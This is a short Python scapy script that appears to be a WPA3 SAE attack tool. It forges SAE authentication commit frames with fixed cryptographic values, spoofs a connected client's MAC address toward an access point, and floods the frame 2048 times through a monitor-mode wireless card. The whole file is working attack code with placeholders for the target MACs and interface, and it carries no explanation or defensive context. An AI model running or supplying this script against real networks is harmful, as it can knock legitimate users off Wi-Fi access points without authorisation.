#MIT License #Copyright (c) 2024 Dimitrios Theodorakos from scapy.all import * client = 'Connected client-target MAC-address' bssid = 'AP MAC-address' count = 2048 # Retries count Auth = RadioTap()/Dot11(type=0, subtype=11, addr1=bssid, addr2=client, addr3=bssid)/Dot11Auth(algo=7, seqnum=1, status=0) group = '\x13\x00' scalar = '\x84\x8e\x19\x10\xba\xa3\xac\x49\x2a\x8a\xd2\ \x07\xbd\x36\xb5\x3f\xa9\x6b\xfc\x12\x08\x0d\x83\x87\ \xda\x4a\x35\xd3\x85\x39\x8f\x64' finite = '\x84\x8e\x19\x10\xba\xa3\xac\x49\x2a\x8a\xd2\ \x07\xbd\x36\xb5\x3f\xa9\x6b\xfc\x12\x08\x0d\x83\x87\ \xda\x4a\x35\xd3\x85\x39\x8f\x64\x84\x8e\x19\x10\xba\ \xa3\xac\x49\x2a\x8a\xd2\x07\xbd\x36\xb5\x3f\xa9\x6b\ \xfc\x12\x08\x0d\x83\x87\xda\x4a\x35\xd3\x85\x39\x8f\x64' frame1= Auth/group/scalar/finite frame1.show() for n in range(int(count)): sendp(frame1, iface='Name Of wifi card in monitor mode') print ("\nSAE frames: " + str(n))